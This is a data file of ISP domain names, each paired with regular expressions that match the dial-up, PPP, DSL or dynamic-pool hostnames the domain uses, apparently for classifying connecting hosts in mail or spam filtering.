PNavana.net:^[a-z]+[0-9]+(-[0-9]+)?$; PNavantel.net.mx:^na-[0-9]+-[0-9]+\.na$; PNavtel.net:^pm[0-9]+-[0-9]+\.[a-z]+[0-9]+$; PNaweb.com:^dialup.+$; PNawod.com:^chs[0-9]+$;^wa[0-9]+\.tnt[0-9]+$; PNaws.es:^e[0-9]+-a[0-9]+$; PNaxess.com:^ppp-.+$; PNaxion.net:^cp[a-z][0-9]+$;^ts[0-9]+-[0-9]+\.[a-z]+$; PNaxs.net:^(aic|di)[0-9]+\.[a-z]+[0-9]+$; PNaxtek.com:^[a-z]+-ts[0-9]+-[0-9]+$; PNaye.net:^dial[0-9]+-[0-9]+$; PNaz.com:^[a-z]+-[0-9]+$; PNazstarnet.com:^dialup.+$; PNazwest.net:^dial[0-9]+.+$; PNbalakovo.ru:^dial-up[0-9]+$; PNbamaonline.net:^dothusr[0-9]+-p[0-9]+$; PNbarak.net.il:^pop[0-9]+-[0-9]+-ras[0-9]+-p[0-9]+$; PNbarint.on.ca:^ppp-.+$; PNbas-net.by:^dial[0-9]+$; PNbatelco.com.bh:^as[0-9]+p[0-9]+\.access$; PNbaynet.de:^vin[0-9]+\.asam$; PNbayonne.net:^ppp[0-9]+$; PNbayou.com:^(max|usr)[0-9]+-p[0-9]+$; PNbbn.com:^ppp.+$; PNbbs-la.com:^ts[0-9]+-[0-9]+$; PNbc.edu:^shiv[0-9]+p[0-9]+$; PNbconnected.net:^00-[0-9a-z-]+$; PNbcpl.net:^ppp.+$; PNbctel.ca:^[a-z]+[0-9]+m[0-9]+-[0-9]+$; PNbeannet.net:^beannet-dialup[0-9]+$; PNbellatlantic.net:^client[0-9-]+$;^adsl-[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNbellglobal.com:^(ppp|cpu)[0-9]+\.[a-z][a-z]$;^cpu[0-9]+\.adsl$; PNbellsouth.net:^adsl-[0-9]+-[0-9]+-[0-9]+\.[a-z]+$;^host-[0-9-]+\.[a-z]+$; PNbeol.net:^pop[0-9]+-[a-z-]+-usr[0-9]+-ip[0-9]+$; PNbest.com:^dynamic[0-9]+\.pm[0-9]+\..+$; PNbestnet.on.ca:^[0-9]+-[0-9]+-[0-9]+-[0-9]+\.ip$; PNbestweb.net:^(dialin|isdn|x[0-9]+)-[0-9]+\.[a-z-]+$; PNbewell.net:^(pkr|pueblo)[0-9]+$;^ft\.col[0-9]+$; PNbgca.org.hk:^[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNbham.ac.uk:^mur[0-9]+$; PNbig.net.au:^port[0-9]+\.[a-z]+$; PNbigcity.net:^[0-9-]+\.max[0-9]+$;^[0-9]+-[0-9]+-[0-9]+$; PNbiglobe.net.tw:^cs-dial-port[0-9]+-[a-z]+$; PNbignet.net:^port[0-9]+\.(max|maxc|tnt|net)[0-9]+$; PNbigpond.net.au:^cpe-[0-9]+-[0-9]+-[0-9]+-[0-9]+\..+$; PNbigsky.net:^.+modem[0-9]+\.[a-z]+$; PNbitstream.net:^port[0-9]+$; PNbiz1.net:^ppp.+$; PNblack-hole.com:^dialup.+$; PNblast.net:^([a-z]ppp|pisc)[0-9]+$; PNbluebon.net:^bethany[0-9]+$; PNblueriver.net:^pm[0-9]+-[a-z]+-[0-9]+-[0-9]+$; PNbmol.com:^ip[0-9]+\.[a-z]+modempool$; PNbnro.de:^line-[0-9]+$; PNboerde.de:^deppp[0-9]+$; PNbold.net.au:^c[0-9]+-p[0-9]+$; PNboo.net:^ppp.+$; PNboone.net:^usr[0-9]+$; PNbossig.com:^yakimauser[0-9]+$; PNbox.net:^s[0-9]+\.max[0-9]+\.[a-z]+$; PNbrandx.net:^modem-.+$; PNbresnanlink.net:^[0-9]+imt[0-9]+$; PNbright.net:^.+\.dial$; PNbrightok.net:^dvpt[0-9]+-[0-9]+\.cot$; PNbris.ac.uk:^p[0-9]+\.ts[0-9]+$; PNbscn.com:^max[0-9]+-[0-9]+\.[a-z]+$; PNbtc-bci.com:^dial[0-9]+-[0-9]+$; PNbtclick.com:^host[0-9]+-[0-9]+-[0-9]+-[0-9]+\.host$; PNbtinternet.com:^host[0-9-]+$; PNbtl.net:^port[0-9]+$;^n[0-9]+p[0-9]+$; PNbuildawebbiz.com:^host-[0-9]+$; PNburgoyne.com:^pmb[0-9]+$; PNca-connection.com:^s[0-9]+$; PNcableinet.co.uk:^usr[0-9]+-[a-z]+$; PNcac.net:^tc[0-9]+-[0-9]+$; PNcactuscom.com:^ppp[0-9]+.+$; PNcadvision.com:^gen[0-9]+-[0-9]+ip[0-9]+$; PNcais.net:^covad-sdsl-[0-9]+$; PNcallnetuk.com:^.+\.dialup$; PNcalpha.com:^pm[0-9]+-[0-9]+$; PNcalvacom.fr:^met[0-9]+$; PNcalweb.com:^[a-z]+[0-9]+-[0-9]+$; PNcalypso.net:^p[0-9]([0-9])?([0-9])?\.sto[0-9]+$; PNcambridgeoh.net:^camb[0-9]+$; PNcampuscwix.net:^s[0-9]+-pm[0-9]+\.[a-z]+$; PNcanadawired.com:^cw[0-9]+$;^smile[0-9]+$; PNcancun.com.mx:^ppp[0-9]+$; PNcari.net:^.+\.dialup$;^sd-[0-9]+-[0-9]+\.l[0-9]+$; PNcaro.net:^max[0-9]+-[0-9]+(\.dial)?$; PNcarr.org:^user[0-9]+$; PNcasema.net:^[0-9]+dyn[0-9]+\.[a-z]+$; PNcbn.net.id:^ip[0-9]+-[0-9]+$; PNcchono.com:^oahu-v[0-9]+-[0-9]+$; PNcci.net.au:^dialup.+$; PNccia.com:^cc[0-9]+-[0-9]+$; PNccinet.com:^ppp[0-9]+.+$; PNccm.net:^pm[0-9]+-dyn[0-9]+$; PNcconnect.net:^(athens|rome)-[0-9]+$; PNccr.net:^[a-z]+conduit[0-9]+[a-z]+$; PNccsi.com:^spider[0-9]+$; PNcdc.net:^[0-9]+-[0-9]+-[0-9]+-[0-9]+\.unnamed$;^pm[0-9]+-[0-9]+\.[a-z]+$; PNcdsnet.net:^d[0-9]+a[0-9]+([a-z]([0-9]+)?)?\.dip$; PNcecomet.net:^[a-z]+-ppp[0-9]+$; PNcelestar.com:^[a-z]+-[0-9]+$; PNcenterplacenet.com:^ppp-.+$; PNcenturyinter.net:^ppp[0-9]+\..+$; PNcerbernet.net:^th-access[0-9]+-[0-9]+\.gw$; PNcetcol.net.co:^as-modem[0-9]+$; PNcetus.net:^dialin[0-9]+$; PNcfin.net:^dldb[0-9]+\.pm[0-9]+-[0-9]+$; PNcgocable.net:^cgowave-[0-9]+-[0-9]+$; PNcharlotte.nc.us:^host[0-9]+\.ci$; PNchesco.com:^mxhyp[0-9]+x[0-9]+$; PNchicagonet.net:^ppp.+$; PNchoice.net:^p[0-9]+\.access[0-9]+\.[a-z]+$; PNchorus.net:^a[0-9]+-[0-9]+$; PNcin-tech.ns.ca:^remote[0-9]+$; PNcinternet.net:^ip[0-9]+\.pm[0-9]+-[0-9]+$; PNcinti.net:^ppp.+$; PNcioe.com:^pool[0-9]+-[0-9]+\.laf$; PNcis.co.za:^net-[0-9]+-[0-9]+$; PNcitenet.net:^g[0-9]+-[0-9]+$; PNcitilink.com:^tc[0-9]+-[0-9]+\.[a-z]+$; PNcityisp.net:^dialup[0-9]+.+$; PNcitynet.net:^chpm[0-9]+-b[0-9]+-[0-9]+$; PNcityscape.net:^pm[0-9]+-[a-z]+-[0-9]+$; PNciudad.com.ar:^host[0-9]+$; PNcl.spb.ru:^ip-[0-9]+\.dialup$; PNclaranet.co.uk:^du-[0-9]+-[0-9]+$; PNclaranet.fr:^du-fr[0-9]+-[0-9]+$; PNclearworks.net:^clwk[0-9]+$; PNcleelum.com:^[a-z]+[0-9]+$; PNclic.net:^pm-[0-9]+\.[a-z]+$; PNclt-online.com:^ppp[0-9]+$; PNcnc.net:^w[0-9]+\.z[0-9]+\.[a-z-]+\.dsl$; PNcnmnetwork.com:^[0-9]+-[0-9]+-[0-9]+-[0-9]+\.dsl-covad\.[a-z]+\.[a-z]+\.[a-z]+$;^.+\.max-tnt-.+$; PNcnpc.com.cn:^usr[0-9]+$; PNcnt.ru:^.+\.dial-up$;^asy[0-9]+$; PNcnx.net:^vancouver-[0-9]+$;^vernon-[0-9]+$; PNcoast.net:^.+\.dialup$; PNcobweb.net:^annex[0-9]+p[0-9]+$; PNcodetel.net.do:^max-[0-9]+-b[0-9]+$; PNcolba.net:^bha[0-9]+-s[0-9]+\.mtl$; PNcollegeclub.com:^cclub$; PNcolumbia.edu:^dialup.+$; PNcom2com.ru:^d[0-9]+n[0-9]+-[a-z][0-9]+-m[a-z0-9]+$; PNcombase.com:^ppp-.+$; PNcommongroup.net:^bushido[0-9]+$; PNcommunique.net:^ppp.+$; PNcommunity.net:^n[0-9]+\.[a-z]+$; PNcomnetcom.net:^liverpool-(val-)?[0-9]+$; PNcompuex.com:^dial-[0-9]+$; PNcompunetlink.com:^du[0-9]+$; PNcompusmart.ab.ca:^remote[0-9]+$; PNcomputerlynx.net:^ppp-.+$; PNcomsat.net.ar:^line[0-9]+$; PNcomset.com:^[0-9]+-[0-9]+-[0-9]+$; PNcomstar.net:^pm-[a-z]+-[0-9]+-[0-9]+$; PNcomteck.com:^d-[0-9]+$;^pm[0-9]+s[0-9]+$; PNcomwerx.net:^user[0-9]+$; PNconcentric.net:^ts[0-9]+d[0-9]+\.[a-z][a-z][a-z]-[a-z][a-z]([0-9]+)?$; PNconexion.co.cr:^ip[0-9]+$; PNconnect.ab.ca:^(ppp|pppa|ts)[0-9]+$; PNconnect.com.au:^acc[0-9]+-ppp[0-9]+\.bri\.roaming$; PNconnected.net.nz:^du[0-9]+shiva[0-9]+$; PNconnectexpress.com:^[0-9]+\.saturn$; PNconnection.com:^pm[0-9]+-[0-9]+$;^usr[0-9]+-[0-9]+$; PNcopper.net:^d[0-9]+$; PNcoqui.net:^ppp-[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNcorecomm.net:^c[0-9]+-[0-9]+-[0-9]+\.[a-z]+$;^max[0-9]+-[0-9]+.+$;^tnt[0-9]+([a-z])?-[0-9]+.+$; PNcosimo.net:^access[0-9]+$; PNcosmoaccess.net:^s[0-9]+$; PNcottagesoft.com:^[0-9]+\.[a-z]+-max[0-9]+$; PNcpeq.com:^ppp[0-9]+$; PNcpg.com.hk:^pc[0-9]+$; PNcpinternet.com:^[a-z]+[0-9]+-[0-9]+-[0-9]+$; PNcr.sk.ca:^ip[0-9]+\.net[0-9]+$; PNcrcwnet.com:^crcwnet-dyn[0-9]+$; PNcreative.net:^ppp[0-9]+$; PNcrl.com:^a[0-9]+\.(aslip|[a-z]+[0-9]+\.as)$; PNcrosslink.net:^dyn[0-9]+.+$; PNcrynwr.com:^dssl-test-ip$; PNcs.net:^ppp.+$; PNcshore.com:^dialup[0-9]+$; PNcsiway.com:^dialup[0-9]+$; PNcsudh.edu:^ppp.+$; PNcsufresno.net:^[a-z-]+[0-9]+-ppp[0-9]+$; PNcsuohio.edu:^dialup[0-9]+-[0-9]+$; PNcsusa.net:^d[0-9]+$; PNcswireless.net:^h[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNcswnet.com:^asrue[0-9]+-[0-9]+-[0-9]+$; PNctaz.com:^ts[0-9]+-[0-9]+$; PNctelcom.net:^dial[0-9]+$; PNctimail3.com:^[0-9]+user[0-9]+$; PNctinets.com:^[0-9]+user[0-9]+$; PNctlnet.com:^max-[0-9]+-[0-9]+\.[a-z]+$; PNcts.com:^psc[0-9]+$; PNcvinet.com:^vn-va-nn-[0-9]+$; PNcw.net:^usr.+dialup.+\.[a-z]+$; PNcwia.com:^max[0-9]+-[0-9]+-[0-9]+\.[a-z]+$;^user[0-9]+\.pop[0-9]+$; PNcwnet.com:^usr[0-9]+-d[0-9]+\.[a-z]+$; PNcwo.com:^port-[a-z]+[0-9]+$; PNcwtel.com:^dial-up[0-9]+$; PNcybercable.fr:^d[0-9]+\.[a-z]+-[0-9]+$; PNcyberdial.co.za:^.+-dial-.+$; PNcyberec.com:^ip-[0-9]+-[0-9]+$;^max[0-9]+-[0-9]+$;^sat[0-9]+$; PNcyberg8t.com:^uia\.gst\.pm[0-9]+$; PNcyberhighway.net:^ts[0-9]+-[0-9]+\.[a-z]+$; PNcyberhotline.com:^port[0-9]+\.dts[0-9]+$; PNcyberion.ca:^pm[0-9]+-[0-9]+-[0-9]+\.[a-z]+$; PNcyberis.net:^ts[0-9]+-[0-9]+\.(sal|eug)$; PNcyberlink.com:^sbpm[0-9]+-[0-9]+-[0-9]+$; PNcybersol.com:^prsh-mdm[0-9]+$;^tc[0-9]+-mdm[0-9]+$; PNcybersource.com:^nat-[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNcyberspace.net.ng:^host-[0-9]+-[0-9]+$; PNcyberstreet.com:^afmy[0-9]+$; PNcybersurf.net:^calppp[0-9]+$; PNcybertime.net:^ip-[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNcybertours.com:^[a-z]+[0-9]+-[0-9]+$; PNcybertron.com:^usr[0-9]+-p[0-9]+\.[a-z]+$; PNcyberway.com.sg:^.+\.ppp[0-9]+$; PNcyberzane.net:^user[0-9]+$; PNcyberzone.net:^cz-cblk-[0-9]+-[0-9]+-[0-9]+$; PNcylink.com.cy:^[a-z]+[0-9]+$; PNcynet.net:^nas[0-9]+-[0-9]+\.[a-z]+\.[a-z]+$; PNcysource.com:^(max|as)[0-9]+-[0-9]+$; PNdacom.co.kr:^ppp.+$; PNdacor.net:^max[0-9]+-[0-9]+$; PNdancris.com:^ip-[0-9]+-[0-9]+-[a-z]+$; PNdartmouth.edu:^choates[0-9]+-bp-[0-9]+$; PNdasia.net:^dialup-.+$; PNdata.net.mx:^t[0-9]+s[0-9]+$; PNdatablast.net:^p[0-9]+\.[a-z]+[0-9]+\.[a-z]+\.[a-z]+$; PNdataforce.net:^.+\.pool$; PNdatamarkets.com.ar:^usr[0-9]+q[0-9]+m[0-9]+$;^usraudq[0-9]+m[0-9]+$; PNdatanet.hu:^.+\.dialin$; PNdbworld.net.au:^.+-pool-.+$; PNddaccess.com:^host[0-9]+$; PNdebis.at:^dialin-wien[0-9]+\.online$; PNdeepwell.com:^[0-9]+-eli$; PNdelmarva.net:^e[0-9]+$; PNdeltanet.com:^anx-[a-z]+[0-9]+$; PNdentech.net:^ppp.+$; PNdesupernet.net:^port[0-9]+-[0-9]+\.[a-z]+$; PNdfn.com:^dfn[0-9]+$; PNdglnet.com.br:^pm[0-9]+p[0-9]+\.[a-z]+$; PNdgw.com:^host[0-9]+$; PNdgweb.com:^[a-z]+[0-9]+-[0-9]+$; PNdhc.net:^[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNdialnet.com:^usr[0-9]+$; PNdialnet.net:^pm[0-9]+-[a-z]+-[0-9]+$; PNdialsprint.net:^sdn-[a-z][a-z]-.+$; PNdialups.net:^[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNdiginetusa.net:^.+-ppp$; PNdigiro.net:^ppp[0-9]+$; PNdigisys.net:^modem[0-9]+$; PNdigital.net:^max-vero[0-9]+-[0-9]+$; PNdigitaldune.net:^ds-[0-9]+$; PNdigitalexp.net:^dial-[0-9]+\.[a-z]+\.[a-z]+$; PNdigitalpla.net:^slc-[0-9]+$; PNdircon.co.uk:^.+\.pool$; PNdirect-internet.net:^dialup.+$; PNdirect.ca:^[a-z]+-[0-9]+-[0-9]+$; PNdiscover-net.net:^max-[a-z]+[0-9]*-[0-9]+$; PNdiscoverynet.com:^pm[0-9]+-[0-9]+$; PNdisknet.com:^tty[0-9]+$; PNdlcwest.com:^nodes[0-9]+$; PNdnaco.net:^pm[0-9]+-[0-9]+-[0-9]+$; PNdnc.net:^[a-z]+-pm[0-9]+-[0-9]+$; PNdockingbay.com:^day[0-9]+$; PNdol.net:^[a-z]+[0-9]+$; PNdoor.net:^[0-9]+door[0-9]+$; PNdotstar.net:^ppp[0-9]+\.nas[0-9]+$; PNdoubled.com:^[a-z]+-[a-z]+-tchp-[0-9]+$; PNdowco.com:^dialup-.+$;^express-[0-9]+\.tch[0-9]+\.[a-z]+$; PNdpnet.net:^[a-z]+ppp[0-9]+$; PNdrizzle.com:^port[0-9]+$; PNdsp.com:^icg-[0-9]+$; PNdtg.com:^sflan-[0-9]+$; PNdtgnet.com:^.+-dialup-.+$; PNdti.net:^.+\.remote$; PNdtu.dk:^igg[0-9]+\.igg$; PNdvnc.net:^cc-[0-9]+$;^vf[0-9]+$; PNdvol.com:^ppp-.+$; PNdwebs.net:^ppp[0-9]+$; PNdynamite.com.au:^isp[0-9]+\.[a-z]+$; PNearly.com:^va-alx-pm[0-9]+-[0-9]+$; PNearthlink.net:^.+\.dialup$; PNeastky.net:^tgtel[0-9]+$; PNeasy-pages.com:^client-[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNeasynet.co.uk:^tnt-[0-9]+-[0-9]+$; PNeasystreet.com:^dial-[0-9]+-[0-9]+$; PNeatel.net:^([a-z-]+)?(amax|as|tnt)[0-9]+-[0-9]+$; PNeaze.net:^lras-[0-9]+-[0-9]+$; PNeclipse.net:^ha[0-9]+-[0-9]+$; PNedge.ne.jp:^arena[0-9]+$; PNedumaster.net:^.+-ppp[0-9]+$; PNefortress.com:^[a-z][a-z]-[0-9]+tnt[0-9]+$;^chancery[0-9]+$; PNegl.net:^pm[0-9]+m[0-9]+$; PNel.net:^dial-.+$; PNelender.hu:^d[0-9]+-[0-9]+-bp$; PNeli.net:^cust-[0-9]+-[0-9]+\.as[0-9]+\.[a-z]+$; PNelkhart.net:^elk[0-9]+-ts[0-9]+$; PNelko.net:^max[0-9]+dialup[0-9]+$; PNelpn.com:^elpn-pm[0-9]+-[0-9]+$; PNemeraldcoast.com:^ppp.+$; PNemeraldnet.net:^ppp.+$; PNemirates.net.ae:^(td|md)[a-z][0-9]+$;^caa[0-9]+$;^cab[0-9]+$;^cdc[0-9]+$;^cdd[0-9]+$; PNempire.net:^hydra[0-9]+-[0-9]+$; PNempirenet.com:^u[0-9]+-[0-9]+$; PNemu.edu.tr:^dialup.+$; PNencotel.de:^ppp[0-9]+$; PNeni.net:^.+\.pool$;^[0-9]+-[0-9]+-[0-9]+-[0-9]+\.gw$;^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$;^[0-9]+\.pool\.[a-z]+[0-9]+\.gw$; PNentech.com:^dial[0-9]+$; PNenteract.com:^[0-9]+-[0-9]+-[0-9]+-[0-9]+\.d$; PNeoni.com:^[a-z]+ppp[0-9]+-[0-9]+$; PNeosinc.com:^[0-9]+eos[0-9]+$; PNeot.com:^.+\.dialup$; PNepix.net:^.+-[0-9]+ppp[0-9]+$; PNeracom.com.tw:^n[0-9]+\.n[0-9]+-[0-9]+-[0-9]+$; PNeranet.net:^n[0-9]+\.n[0-9]+-[0-9]+-[0-9]+$; PNeri.net:^dlp[0-9]+\.[a-z]+$; PNerie.net:^pm[0-9]+-[0-9]+$; PNerielink.com:^ppp-[0-9]+$; PNesper.com:^ts[0-9]+c[0-9]+$; PNespire.net:^[a-z][0-9]+-[a-z]+-dp-[0-9]+-[0-9]+$; PNestpak.ee:^tnt[0-9]+-[0-9]+$; PNestreet.com:^ppp.+$; PNetcrier.net:^dial-.+$; PNeu.net:^dialup.+$;^isdn[0-9]+.+$; PNeunet.be:^idialup[0-9]+\.[a-z]+[0-9]+$; PNeunet.no:^p[0-9]+\.[a-z-]+$; PNeunet.yu:^p-[0-9]+\.[0-9]+$; PNeuronet.be:^i[0-9]+\.bru$; PNeuv-frankfurt-o.de:^ppp[0-9]+$; PNev1.net:^tay-[0-9]+-[0-9]+$; PNevcom.net:^.+\.dyn$; PNex-pressnet.com:^n[0-9]+h[0-9]+$; PNexecpc.com:^[a-z]+-[0-9]+(-[0-9]+)?\.mdm\.[a-z]+$; PNexeculink.com:^ppp.+$; PNexotrope.net:^[a-z]+-host-[0-9]+-[0-9]+$; PNexsbs.net:^ip[0-9]+-pm[0-9]+-[0-9]+$; PNextensis.com:^rvn-[0-9]+-[0-9]+\.rs$; PNez2.net:^riv[0-9]+$; PNezaccess.net:^(tc|scr)[0-9]+-[0-9]+$; PNezcom.net:^[0-9]+$; PNeznet.net:^dialup.+$; PNfabrik.net:^fab[0-9]+ca[0-9]+([a-z])?$; PNfair.net:^pm[0-9]+-[0-9]+$; PNfairviewc.ab.ca:^fair[0-9]+$; PNfamvid.com:^.+[0-9]+dialin[0-9]+$; PNfastband.com:^slipri[0-9]+-s[0-9]+$; PNfastdial.net:^host[0-9]+$; PNfastwave.net:^fwppp[0-9]+$; PNfatnet.net:^dynamic-.+$; PNfcc.net:^modem-.+$;^pc[a-f0-9][a-f0-9]dn.+$; PNfcol.com:^ppp[0-9]+.+$; PNfgi.net:^usr[0-9]+[a-z]+tc-[0-9]+$; PNfiadsl.net:^dsl[0-9]+-[0-9]+$; PNfiber.net:^[0-9]+-[0-9]+-[0-9]+\.[a-z]+$; PNfiberone.net:^h[0-9]+-[0-9]+-[0-9]+-[0-9]+\.gv$; PNfibertel.com.ar:^[a-z]+-[0-9]+$;^cablemodem[0-9]+\.vlan[0-9]+\.headend$; PNficnet.net.tw:^as[0-9]+po[0-9]+\.[a-z]+$;^p[0-9]+\.wan[0-9]+$; PNfirstclasssolutions.net:^ppp[0-9]+$; PNflakeysol.com:^usr[0-9]+$; PNflanet.com:^pool[0-9]+-[0-9]+$;^pserv[0-9]+p[0-9]+$; PNflash.net:^.+\.dialup\..+$;^[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNflashcom.net:^[0-9]+-[0-9]+-[0-9]+-[0-9]+\.irv[0-9]+$; PNflinet.com:^[a-z]+-pm[0-9]+-[0-9]+$;^pm[0-9]+-[0-9]+(\.dialup)?$; PNflinthills.com:^fh-[0-9]+$; PNflips.net:^.+-ppp[0-9]+$; PNflnet.com:^.+-dial-[0-9]+$; PNfltg.net:^.+-ppp[0-9]+$; PNfoni.net:^[a-z]+-[0-9]+-[0-9]+\.ip$; PNfoothill.net:^sequoia-[0-9]+$; PNforce9.net:^.+\.dialup$; PNfords.net:^log[0-9]+$; PNforward.net:^[0-9]+\.lg$; PNfoxvalley.net:^pm[0-9]+-[0-9]+$; PNfred.net:^user[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNfreeaccess.nl:^.+\.dialin$; PNfreei.net:^dial[0-9]+\..+$; PNfreesurf.ch:^.+-dialup-.+$; PNfreetalk.ch:^.+\.dial$; PNfronet.com:^dialup-[0-9]+$; PNfrontiernet.net:^[0-9]+-[0-9]+-[0-9]+-[0-9]+\.[a-z]+-[0-9]+\.[a-z]+$; PNfsu.edu:^unregistered\.scri$; PNfullnet.net:^.+-ppp-.+$; PNfundy.net:^node[0-9]+\.net[0-9]+$; PNfuntv.com:^dial-.+$; PNfuse.net:^archon-[0-9]+$;^nile-[0-9]+$;^as[0-9]+-[0-9]+$; PNfutura.net:^[0-9]+-[0-9]+\.[a-z]+$; PNfwi.com:^angola-line-[0-9]+$; PNfyi.net:^oak[0-9]+$; PNgamcs.com.eg:^menanet[0-9]+$; PNgate.net:^dtnfl[0-9]+-[0-9]+$;^stpfl[0-9]+-[0-9]+$;^ts[a-z]+[0-9]+-[0-9]+$; PNgatecom.net:^dialuppool$; PNgci.net:^[a-z]+-du-[0-9]+$; PNgcn.net.tw:^dial[0-9]+\.[0-9]+$; PNgdahin.org:^host[0-9]+$; PNgdi.net:^(pm|usr)[0-9]+[a-z]?-[0-9]+$;^mipm[0-9]+u-[0-9]+\.[a-z]+$;^orl[0-9]+-[0-9]+$; PNgemlink.com:^h[0-9]+$; PNgeneration.net:^isdn[0-9]+$;^x[0-9]+-[0-9]+\.[a-z]+$; PNgeneseo.net:^.+-ppp$; PNgeotec.net:^pm[0-9]+-[a-z-]+-[0-9]+-[0-9]+$;^cas-tul-brks-[0-9]+-[0-9]+-[0-9]+$; PNgetbiz.net:^.+dialup$; PNghbbs.com:^[0-9]+$; PNghg.net:^max[0-9]+-[0-9]+$; PNgil.com.au:^nas[0-9]+ip[0-9]+\.ipswich$; PNgis.net:^ppp.+$; PNgj.net:^[0-9]+\.gj[0-9]+$; PNglasscity.net:^dialup.+$; PNglobal.net.uk:^p[0-9a-f][0-9a-f]+s[0-9a-f]+a[0-9a-f]+\.client$; PNglobalcon.com:^pm[0-9]+$; PNglobalnet.co.uk:^client[0-9]+([a-z][0-9]+)?([a-z]+)?$; PNglobalserve.net:^dialin.+$; PNgls3c.com:^user[0-9]+$; PNgmu.edu:^.+\.dialup$; PNgnt.com:^p[0-9]+$; PNgo-concepts.com:^ip[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$; PNgoldcom.com:^ppp.+$; PNgoldnet.net.il:^dialup-.+$; PNgoodnet.com:^d[0-9]+-[0-9]+\.[a-z]+$;^pm[0-9]+-[0-9]+-[0-9]+\..+$; PNgorge.net:^tddial[0-9]+$; PNgorilla.net:^ygordial[0-9]+$; PNgot.net:^dyn-[0-9]+-[0-9]+-[0-9]+-[0-9]+\..+$; PNgoteborg.se:^dator[0-9]+\.ped\.tekniskavux\.educ$; PNgraceba.net:^icore[0-9]+-p-[0-9]+\.[a-z]+$; PNgrandcentral.net:^track[0-9]+$; PNgreennet.net:^portq[0-9]+$; PNgrid.net:^pool[0-9-]+\..+$; PNgsinet.net:^max[0-9]+-[0-9]+\.[a-z]+$; PNgstis.net:^cvx[0-9]+-[0-9]+\.[a-z]+$; PNgtei.net:^[a-z]+[0-9]+-[0-9]+\.dsl$; PNgu.net:^unallocated$; PNguiware.com:^dialup[0-9]+$; PNgulf.net:^[a-z]+[0-9]+\.[a-z]+$; PNgvi.net:^[a-z]+[0-9]+-[0-9]+\.max[0-9]+$; PNgvii.net:^[0-9]+$; PNh2net.net:^tc[0-9]+-dyn[0-9]+$; PNhamptons.com:^sh[0-9]+-[0-9]+$; PNharbornet.com:^pm[0-9]+-[0-9]+$; PNharborside.com:^p[0-9]+\.[a-z][a-z][0-9]+$; PNharrowschool.org.uk:^station[0-9]+$; PNhccnet.nl:^.+\.dial$; PNhcv.com:^net[0-9]+$; PNhexcom.net:^[0-9]+-[0-9]+-[0-9]+-[0-9]+\.tc[0-9]+\.det[0-9]+$; PNhi.net:^.+\.dialup$; PNhia.net:^hia[0-9]+$; PNhinet.net:^h[0-9]+\.s[0-9]+\.ts([0-9]+)?$; PNhit.net:^indy[0-9]+$; PNhitron.net:^(p|d)[0-9]+\.ts\.[a-z]+$; PNhiwaay.net:^.+\.dialup$;^[a-z]+[0-9]+-[0-9]+$; PNhkabc.net:^ppp[0-9]+$; PNhknet.com:^ts[0-9]+$; PNhkstar.com:^.+\.dialup$; PNhogia.net:^ip[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+$; PNhome.com:^[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+\.[a-z][a-z]\.wave$;^c([a-z])?[0-9]+-[a-z]\.[a-z]+[0-9]\.[a-z]+$;^cr[0-9]+-[a-z]\.[a-z]+[0-9]\.[a-z][a-z]\.wave$; PNhome.net:^athm-[0-9]+-[0-9]+-xxx-[0-9]+$; PNhorizon-isp.net:^dialup[0-9]+$; PNhotkey.net.au:^[a-z-]+-dial-[0-9]+\.[a-z]+$; PNhotvoice.com:^ppp[0-9]+$; PNhouseware.com.ar:^ppp-[0-9]+$; PNhro.nl:^cs-mu[0-9]+-a[0-9]+$; PNhsacorp.net:^[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNhsanet.net:^dhcp-[0-9]+-[0-9]+\.us$; PNhsonline.net:^.+-dial[0-9]+.+$; PNhtcomp.net:^ascend[0-9]+p[0-9]+$; PNhudsonet.com:^[0-9]+-[0-9]+-[0-9]+-[0-9]+$; PNhula.net:^[a-z]+[0-9]+$; PNhutchcity.com:^m[0-9]+-[0-9]+$; PNhypercon.com:^[0-9]+\.[0-9]+\.nas[0-9]+\.ippool$; PNhyperlinx.net:^pop[0-9]+$; PNhz.zj.cn:^ppp[0-9]+.+$; PNi-1.net:^port[0-9]+$; PNi-55.com:^ppp[0-9]+.+$; PNi-dial.de:^host-[0-9]+$; PNia-omni.com:^ppp.+$; PNiadfw.net:^(dal|ppp|ppp[a-z])[0-9]+-[0-9]+\.(ppp|ght)$;^ppp[0-9]+.+$; PNiae.nl:^chipmunk[0-9]+$; PNibisnet.net:^[a-z-]+-du[0-9]+$; PNibm.com:^ss[0-9]+\.ny\.us$; PNibm.net:^slip[0-9-]+\..+$; PNica.net:^tiger[0-9]+-net[0-9]+-[0-9]+-[0-9]+-ip[0-9]+$; PNican.net:^ppp.+$; PNicdc.com:^peco\.[0-9]+\.[a-z]+$; PNicon.net:^asnd[0-9]+$; PNics-online.net:^ip[0-9]+-[0-9]+$; PNicsi.net:^[0-9]+-[a-z]+$;^ppp.+$; PNicubed.com:^pgh[0-9]+$; PNicubed.net:^ppp[0-9]+$; PNicx.net:^pm[0-9]+[a-z]+$; PNidca.com:^p[0-9]+-[0-9]+\.[a-z]+[0-9]+([a-z])?$; PNidir.net:^port[0-9]+\.(max|tnt)[0-9]+\.[a-z]+$; PNidirect.com:^ntsvr[0-9]+-[0-9]+\.[a-z]+$;^on-tor-blr-a[0-9]+-[0-9]+-[0-9]+$;^ts[0-9]+-[0-9]+[a-z]+-[0-9]+$;^x[0-9]+-[0-9]+-[0-9]+\.[a-z]+$; PNidnsi.com:^[a-z]+[0-9]+-[0-9]+$; PNidola.net.id:^ygy-liv[0-9]+-[0-9]+$; PNidt.net:^ppp.+$; PNiefx.com:^[a-z]+[0-9]+$; PNieighty.net:^mr[0-9]+slc[0-9]+$; PNienet.com:^node[0-9]+\.masterm[0-9]+\.dslspeed$; PNiex.net:^port[0-9]+\.[a-z]+-annex$; 